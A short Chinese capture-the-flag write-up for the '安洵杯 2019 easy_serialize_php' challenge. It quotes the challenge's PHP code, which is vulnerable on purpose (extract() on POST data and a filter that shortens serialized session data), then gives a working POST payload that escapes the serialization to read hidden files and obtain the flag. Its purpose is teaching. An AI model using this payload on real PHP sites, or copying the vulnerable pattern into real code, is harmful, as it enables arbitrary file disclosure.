[安洵杯 2019]easy_serialize_php 1
1.发现
1.1打开题目地址,发现PHP代码,进行代码审计。
<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST); if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
2.步骤
2.1根据代码提示,首先给f传值phpinfo,发现Core中有关flag的一个文件。


2.2根据提示,get传入show_image,构造POST传参内容,得到提示。
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

2.3替换传入文件名,并base64加密L2QwZzNfZmxsbGxsbGFn,得到flag。

3.借鉴
[安洵杯 2019]easy_serialize_php - h3zh1 - 博客园 (cnblogs.com)
PHP extract() 函数 (w3school.com.cn)
4.知识点
PHP代码审计
extract函数
序列化
反序列化中的对象逃逸

浙公网安备 33010602011771号